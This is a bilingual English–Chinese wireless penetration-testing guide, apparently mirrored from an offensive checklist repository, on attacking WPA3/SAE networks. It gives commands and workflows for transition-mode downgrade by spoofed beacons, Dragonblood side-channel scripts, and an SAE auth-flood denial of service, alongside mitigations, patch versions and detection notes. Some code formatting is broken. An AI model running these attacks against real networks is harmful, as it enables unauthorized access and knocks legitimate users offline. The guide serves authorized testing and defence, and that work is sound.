offensive-wpa3-sae

Compare original and translation side by side

🇺🇸

Original

English

🇨🇳

Translation

Chinese

WPA3 / SAE Attacks

WPA3 / SAE 攻击

WPA3 fixes the offline-handshake-cracking weakness of WPA2 by replacing the 4-way PSK exchange with SAE (a Dragonfly-derived password-authenticated key exchange). The straightforward offline crack disappears — but transition-mode misconfigurations and the original SAE implementation's side-channel leaks open new paths.

WPA3 用 SAE（一种源自 Dragonfly 的 password-authenticated key exchange）替代 WPA2 的 4-way PSK exchange，修复了 WPA2 离线破解握手的弱点。直接的离线破解已不再可行——但 transition mode 的错误配置以及最初 SAE 实现中的 side-channel（侧信道）泄漏开辟了新的攻击路径。

Quick Workflow

快速工作流

Verify the target advertises WPA3 (RSN IE shows AKM SAE = 8)
Check for transition-mode (mixed WPA2 + WPA3) — easiest path
If pure WPA3, fingerprint the AP's hostapd version for Dragonblood applicability
Side-channel timing or cache attacks if reachable
Otherwise, accept that offline cracking isn't viable — pivot to other surfaces

确认目标通告 WPA3（RSN IE 显示 AKM SAE = 8）
检查是否为 transition mode（混合 WPA2 + WPA3）——最简单的路径
如果为纯 WPA3，对 AP 的 hostapd 版本进行指纹识别，以判断 Dragonblood 是否适用
如果目标可达，进行 side-channel timing（侧信道时序）或 cache attack（缓存攻击）
否则，接受离线破解不可行这一事实——转向其他攻击面

Transition-Mode Downgrade

Transition Mode Downgrade

If the AP advertises both WPA2-PSK and WPA3-SAE (transition mode for mixed-client networks), older clients can be forced onto WPA2:

bash

undefined

如果 AP 同时通告 WPA2-PSK 和 WPA3-SAE（用于混合客户端网络的 transition mode），则可以将较旧客户端强制切换到 WPA2：

bash

undefined

Identify transition mode in beacon frames

sudo airodump-ng wlan0mon -c <ch> --bssid <BSSID>

Encryption column shows WPA2 WPA3 (both)


Steps:

1. Spoof a beacon advertising **only RSN-WPA2** with the same BSSID/SSID
2. Client roams to your beacon, performs WPA2 4-way handshake
3. Capture handshake exactly like `offensive-wpa2-psk`

```bash


步骤：

1. 伪造一个仅通告 **RSN-WPA2**、并使用相同 BSSID/SSID 的 beacon
2. 客户端漫游到你的 beacon，并执行 WPA2 4-way handshake
3. 按照 `offensive-wpa2-psk` 的方式捕获握手

```bash

Use hostapd-mana or airbase-ng for the WPA2-only AP advertisement

airbase-ng -e CorpWiFi -c 6 -W 1 wlan0mon

-W 1 enables WPA, configure for WPA2-only RSN element


**Why this works:** WPA3-SAE clients fall back to WPA2-PSK if the AP only advertises WPA2 — there's no protected downgrade defense in transition mode. WPA3-only mode (no transition) blocks this.

**Mitigation defenders use:** WPA3-only networks (no WPA2). Wi-Fi 6E (6 GHz) mandates WPA3-only by spec.


**原因：** WPA3-SAE 客户端在 AP 仅通告 WPA2 时会回退到 WPA2-PSK——transition mode 没有针对 downgrade 的保护机制。WPA3-only mode（无 transition）可阻止此类攻击。

**防御方采用的缓解措施：** WPA3-only 网络（无 WPA2）。根据规范，Wi-Fi 6E（6 GHz）强制要求 WPA3-only。

Dragonblood (CVE-2019-9494 / 9495 / 13377 / 13456)

Dragonblood（CVE-2019-9494 / 9495 / 13377 / 13456）

Side-channel and downgrade attacks against the SAE Hunting-and-Pecking algorithm in pre-2.10 hostapd / wpa_supplicant.

针对 pre-2.10 hostapd / wpa_supplicant 中 SAE Hunting-and-Pecking 算法的 side-channel 和 downgrade 攻击。

Cache-Based Side-Channel

基于 Cache 的 Side-Channel

The original SAE password-element derivation iterates a variable number of times depending on the password and MAC. Cache hits leak the iteration count.

bash

git clone https://github.com/vanhoefm/dragonblood
cd dragonblood

最初的 SAE password-element derivation 会根据密码和 MAC 以可变次数迭代。Cache hit 会泄漏迭代次数。

bash

git clone https://github.com/vanhoefm/dragonblood
cd dragonblood

Cache-based attack (requires co-located malicious code on target host — limited)

python3 dragontime.py --bssid AA:BB:CC:DD:EE:FF --iface wlan0mon

undefined

python3 dragontime.py --bssid AA:BB:CC:DD:EE:FF --iface wlan0mon

undefined

Timing Side-Channel

The same iteration count leaks via observable timing of the SAE commit phase from outside.

bash

python3 dragontime.py --bssid AA:BB:CC:DD:EE:FF --iface wlan0mon --mode timing

相同的迭代次数还会通过从外部观察到的 SAE commit phase 时序泄漏。

bash

python3 dragontime.py --bssid AA:BB:CC:DD:EE:FF --iface wlan0mon --mode timing

Downgrade to Weak Group

降级到弱 Group

Some implementations accept SAE with the deprecated MODP group 5 if the client requests it. Combined with cache/timing side channels, this enables offline dictionary attack.

bash

python3 dragondrain.py wlan0mon AA:BB:CC:DD:EE:FF

某些实现会在客户端请求时接受使用已弃用的 MODP group 5 的 SAE。结合 cache/timing side channel，这可以实现离线字典攻击。

bash

python3 dragondrain.py wlan0mon AA:BB:CC:DD:EE:FF

Patched Versions

已修复版本

Implementation	Fixed
hostapd / wpa_supplicant	2.10 (April 2022)
Apple iOS / macOS	2019 patches
Windows	KB-batched 2019-2020
Embedded routers	Often unpatched — high hit rate on consumer SOHO

实现	修复版本
hostapd / wpa_supplicant	2.10（2022 年 4 月）
Apple iOS / macOS	2019 年补丁
Windows	2019–2020 年批量发布的 KB
嵌入式路由器	通常未打补丁——在消费级 SOHO 上成功率高

Hash-to-Element (H2E)

Hash-to-Element（H2E）

WPA3 R2 introduced H2E to replace the iteration-leaky Hunting-and-Pecking. H2E is constant-time. If the AP advertises H2E in the RSNXE element, Dragonblood-class attacks don't apply.

bash

undefined

WPA3 R2 引入 H2E，以取代会泄漏迭代次数的 Hunting-and-Pecking。H2E 是 constant-time（恒定时间）的。如果 AP 在 RSNXE element 中通告 H2E，则 Dragonblood 类攻击不适用。

bash

undefined

Wireshark filter

wlan.rsnx.field.h2e


If H2E is present and required (no Hunting-and-Pecking fallback), only the spec is left to attack — abandon SAE attacks and pivot to other surfaces (PMF check, evil-twin via EAP if Enterprise, supply-chain via management frames).

wlan.rsnx.field.h2e


如果存在 H2E 且其为必需项（没有 Hunting-and-Pecking fallback），则只剩下规范层面可作为攻击目标——放弃 SAE 攻击并转向其他攻击面（检查 PMF；如果为 Enterprise，则通过 EAP 实施 evil-twin；通过 management frames 攻击供应链）。

SAE Auth Flooding (DoS)

SAE Auth Flooding（DoS）

SAE's commit phase requires the AP to do heavy elliptic-curve work per association attempt. Floods can exhaust CPU on lower-end APs, denying service to legitimate clients.

bash

sudo mdk4 wlan0mon a -a AA:BB:CC:DD:EE:FF -m -s 1024

SAE 的 commit phase 要求 AP 在每次 association attempt 时执行高开销的 elliptic-curve（椭圆曲线）运算。洪泛可能耗尽低端 AP 的 CPU，使合法客户端无法使用服务。

bash

sudo mdk4 wlan0mon a -a AA:BB:CC:DD:EE:FF -m -s 1024

Auth attack mode -a, multiple per second -s 1024


**This is a DoS — only with explicit authorization.** Modern enterprise APs use anti-clogging tokens to throttle SAE-flood attacks; consumer routers often don't.


**这是 DoS——仅在获得明确授权时执行。** 现代企业级 AP 使用 anti-clogging tokens 限制 SAE-flood attack 的速率；消费级路由器通常没有这种机制。

6 GHz / Wi-Fi 6E Implications

6 GHz / Wi-Fi 6E 的影响

The 6 GHz band (Wi-Fi 6E, channels 1–233 in the 5925–7125 MHz range) requires:

WPA3-only (no transition mode)
PMF (802.11w) mandatory (deauth/disassoc protected)
OWE (Opportunistic Wireless Encryption) for open networks

Net effect: most pre-WPA3 attacks (deauth, transition-mode downgrade) don't apply on 6 GHz. Pure SAE side-channel, evil-twin, or out-of-band attacks remain viable.

6 GHz 频段（Wi-Fi 6E，5925–7125 MHz 范围内的信道 1–233）要求：

WPA3-only（不允许 transition mode）
强制要求 PMF（802.11w）（deauth/disassoc 已受保护）
开放网络必须使用 OWE（Opportunistic Wireless Encryption）

最终影响：大多数 pre-WPA3 攻击（deauth、transition mode downgrade）在 6 GHz 上不适用。纯 SAE side-channel、evil-twin 或 out-of-band 攻击仍然可行。

Detection Considerations

检测注意事项

WPA3 is enterprise-defended much like WPA2 — WIDS catches:

Beacon spoofing (transition-mode downgrade) via fingerprint mismatch (IE order, vendor-specific, beacon timing)
SAE flood via association rate per source MAC
Repeated SAE commit failures (timing attack telemetry)

Successful Dragonblood-class attacks against patched modern hostapd are unlikely. Consumer SOHO and embedded APs are still in scope.

WPA3 的企业级防护方式与 WPA2 大致相同——WIDS 可以检测：

Beacon 欺骗（transition mode downgrade）：通过 fingerprint mismatch 识别（IE order、vendor-specific、beacon timing）
SAE flood：根据每个 source MAC 的 association rate 识别
反复出现的 SAE commit failure（timing attack telemetry）

针对已打补丁的现代 hostapd，成功实施 Dragonblood 类攻击的可能性很低。消费级 SOHO 和嵌入式 AP 仍应纳入检测范围。

Engagement Cheatsheet

测试速查表

bash

undefined

bash

undefined

1. Identify mode

sudo airodump-ng wlan0mon -c <ch> --bssid <BSSID>

Encryption: WPA2 + WPA3 → transition; WPA3-only → SAE-only

2. Transition-mode downgrade attempt

sudo airbase-ng -e <ESSID> -c <ch> -W 1 -z 4 wlan0mon # WPA2-RSN advertised only

3. Wait for client roam, capture WPA2 handshake (handoff to offensive-wpa2-psk)

4. If pure WPA3, fingerprint hostapd

(passive analysis of beacon IE order + version-specific behaviors)

5. Run Dragonblood test scripts if pre-2.10 hostapd suspected

python3 dragondrain.py wlan0mon <BSSID> python3 dragontime.py --bssid <BSSID> --iface wlan0mon

6. Document residual viable attacks; pivot to evil-twin / EAP / RF if pure WPA3 R2

---

---

Key References

关键参考资料

Dragonblood: dragonblood.net (Vanhoef + Ronen)
IEEE 802.11-2020 (combined spec including WPA3)
WFA WPA3 Specification
hostapd 2.10 release notes
Source: https://github.com/SnailSploit/offensive-checklist/blob/main/wireless.md

Dragonblood：dragonblood.net（Vanhoef + Ronen）
IEEE 802.11-2020（包含 WPA3 的合并规范）
WFA WPA3 规范
hostapd 2.10 发布说明
来源：https://github.com/SnailSploit/offensive-checklist/blob/main/wireless.md